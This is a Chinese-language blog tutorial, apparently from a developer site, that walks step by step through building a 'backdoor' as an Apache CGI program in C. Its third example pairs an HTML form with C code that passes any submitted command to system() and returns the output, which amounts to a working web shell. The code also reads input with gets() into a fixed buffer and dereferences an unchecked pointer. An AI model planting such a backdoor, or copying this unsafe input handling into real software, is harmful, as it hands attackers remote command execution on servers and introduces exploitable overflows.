一步一步教你使用CGI实现一个简单的后门

程序实例1:使用CGI实现文件定向操作

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void main()
{
    //设置HTML语言
    printf("Content-type:text/html\n\n");

    //文件定向操作
    char* str = "ipconfig > 1.txt";

    system(str);
}

将上面的代码编译成的exe文件拷贝到C:\Program Files\Apache Software Foundation\Apache2.2\cgi-bin中,并且将exe从命名为system.cgi

在Apache服务器中执行system.cgi

执行方式请参考:开发基于Apache服务器上的CGI程序

执行成功后会看到C:\Program Files\Apache Software Foundation\Apache2.2\cgi-bin文件中生成了一个1.txt文件

打开1.txt后可以看到1.txt中记录的是本机的ip信息

这就是文件定位操作,将ip信息保存到一个文本中


程序实例2:使用浏览器读取1.txt中的ip信息

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void main()
{
    //设置HTML语言
    printf("Content-type:text/html\n\n");

    //文件定向操作
    char* str = "ipconfig > 1.txt";
    system(str);

    //以读的方式打开1.txt
    FILE* fp = fopen("1.txt", "r");

    //循环成立的条件是没有读到文件结尾
    while(!feof(fp))
    {
        //每次从文件中读取1个字符
        char ch = fgetc(fp);

        if('\n' == ch)
        {
            printf("<br><br>");
        }
        else
        {
            //打印字符
            putchar(ch);
        }
    }
}

将上面的代码编译成的exe文件拷贝到C:\Program Files\Apache Software Foundation\Apache2.2\cgi-bin中,并且将exe从命名为output.cgi

在浏览器上输入:http://localhost/cgi-bin/output.cgi

在浏览器上打印了ip信息


程序实例3:使用CGI实现一个简单的后门

使用记事本编辑下面的HTML代码

<form id="form" name="form" method="post" action="http://localhost/cgi-bin/input.cgi">
<p>
<input type="text" name="BBB" id="input" value="tasklist">
</p>
<p>
<input type="submit" name="AAA" id="submit" value="请进">
</p>
</form>

保存后将文件名修改成houmen.html,最后保存在C:\Program Files\Apache Software Foundation\Apache2.2\htdocs中


使用VS2012编译下面的代码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void main()
{
    //设置HTML语言
    printf("Content-type:text/html\n\n");

    //打印环境变量
    printf("%s<br><br>", getenv("QUERY_STRING"));

    char szPost[256] = {0};

    //获取输入
    gets(szPost);

    //打印输入的内容
    printf("%s<br><br>", szPost);
    //BBB=tasklist&AAA=%C7%EB%BD%F8

    char *p = szPost + 4; 
    char*p1 = strchr(szPost, '&');
    *p1 = '\0';

    char cmd[256] = {0};

    //字符串映射
    sprintf(cmd, "%s > 1.txt", p);

    system(cmd);

    //以读的方式打开1.txt
    FILE* fp = fopen("1.txt", "r");

    //循环成立的条件是没有读到文件结尾
    while(!feof(fp))
    {
        //每次从文件中读取1个字符
        char ch = fgetc(fp);

        //当读取到\n时
        if('\n' == ch)
        {
            //打印换行
            printf("<br><br>");
        }
        else
        {
            //打印字符
            putchar(ch);
        }
    }
}

编译成功后,将生成的exe文件重命名为input.cgi,并且拷贝到C:\Program Files\Apache Software Foundation\Apache2.2\cgi-bin中

在浏览器中输入:http://localhost/houmen.html

执行结果:


单击请进后会打印出所有的进程


在输入框中输入ipconfig后单击请进会打印出所有的ip信息


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值